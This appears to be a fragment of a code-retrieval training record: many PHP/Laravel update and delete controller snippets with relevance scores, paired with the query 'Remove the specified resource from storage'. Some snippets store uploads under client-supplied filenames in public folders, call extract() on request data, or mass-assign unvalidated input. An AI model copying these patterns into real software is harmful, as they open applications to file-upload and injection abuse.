"public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }",
"public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }",
"public function update(Qstore $request, $id)\n {\n //\n }",
"public function update(IEntity $entity);",
"protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }",
"public function update($request, $id);",
"function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}",
"public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }",
"public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }",
"protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }",
"abstract public function put($data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function testUpdateSupplierUsingPUT()\n {\n }",
"public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }",
"public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }",
"public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }",
"public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }",
"public abstract function update($object);",
"public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }",
"public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }",
"public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }",
"public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }",
"public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }",
"public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }",
"public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }",
"public function update($entity)\n {\n \n }",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }",
"public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }",
"public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }",
"public function update($id, $input);",
"public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }",
"public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}",
"public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }",
"public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }",
"public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }",
"public function update($id);",
"public function update($id);",
"private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }",
"public function put($path, $data = null);",
"public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }",
"public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }",
"public function update(Entity $entity);",
"public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }",
"public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}",
"public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }",
"public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }",
"public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }",
"public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }",
"public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }"
]
| [
"0.7425105",
"0.70612276",
"0.70558053",
"0.6896673",
"0.6582159",
"0.64491373",
"0.6346954",
"0.62114537",
"0.6145042",
"0.6119944",
"0.61128503",
"0.6099993",
"0.6087866",
"0.6052593",
"0.6018941",
"0.60060275",
"0.59715486",
"0.5946516",
"0.59400934",
"0.59377414",
"0.5890722",
"0.5860816",
"0.5855127",
"0.5855127",
"0.58513457",
"0.5815068",
"0.5806887",
"0.57525045",
"0.57525045",
"0.57337505",
"0.5723295",
"0.5714311",
"0.5694472",
"0.5691319",
"0.56879413",
"0.5669989",
"0.56565005",
"0.56505877",
"0.5646085",
"0.5636683",
"0.5633498",
"0.5633378",
"0.5632906",
"0.5628826",
"0.56196684",
"0.5609126",
"0.5601397",
"0.55944353",
"0.5582592",
"0.5581908",
"0.55813426",
"0.5575312",
"0.55717176",
"0.55661047",
"0.55624634",
"0.55614686",
"0.55608666",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55573726",
"0.5556878",
"0.5554201",
"0.5553069",
"0.55530256",
"0.5543788",
"0.55435944",
"0.55412996",
"0.55393505",
"0.55368495",
"0.5535236",
"0.5534954",
"0.55237365",
"0.5520468",
"0.55163723",
"0.55125296",
"0.5511168",
"0.5508345",
"0.55072427",
"0.5502385",
"0.5502337",
"0.5501029",
"0.54995877",
"0.54979175",
"0.54949397",
"0.54949397",
"0.54946727",
"0.5494196",
"0.54941916",
"0.54925025",
"0.5491807",
"0.5483321",
"0.5479606",
"0.5479408",
"0.5478678",
"0.54667485",
"0.5463411",
"0.5460588",
"0.5458525"
]
| 0.0 | -1 |
Remove the specified resource from storage. | public function destroy(User $user)
{
$this->authorize('admin.users.destroy', [$user->id]);
try {
$message = $user->trashed() ? 'messages.success.restore' : 'messages.success.destroy';
$user->trashed() ? $user->restore() : $user->delete();
return redirect()->back()->with(['type' => 'success', 'message' => __($message)]);
} catch (\Exception $e) {
return redirect()->back()->with(['type' => 'danger', 'message' => __('messages.danger.destroy')])->withInput();
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }",
"public function destroy(Resource $resource)\n {\n //\n }",
"public function removeResource($resourceID)\n\t\t{\n\t\t}",
"public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }",
"public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }",
"public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }",
"public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }",
"protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }",
"public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }",
"public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }",
"public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }",
"public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}",
"public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}",
"public function delete(): void\n {\n unlink($this->getPath());\n }",
"public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }",
"public function remove($path);",
"function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}",
"public function delete(): void\n {\n unlink($this->path);\n }",
"private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }",
"public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }",
"public function remove() {}",
"public function remove() {}",
"public function remove();",
"public function remove();",
"public function remove();",
"public function remove();",
"function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}",
"public function deleteImage(){\n\n\n Storage::delete($this->image);\n }",
"public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }",
"public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}",
"public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }",
"public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }",
"public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}",
"public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }",
"public function deleteImage(){\n \tStorage::delete($this->image);\n }",
"public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }",
"public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }",
"public function destroy($id)\n {\n Myfile::find($id)->delete();\n }",
"public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }",
"public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }",
"public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }",
"public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }",
"public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }",
"public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }",
"public function delete($path);",
"public function delete($path);",
"public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }",
"public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }",
"public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }",
"public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }",
"public function delete($path, $data = null);",
"public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }",
"public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }",
"public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }",
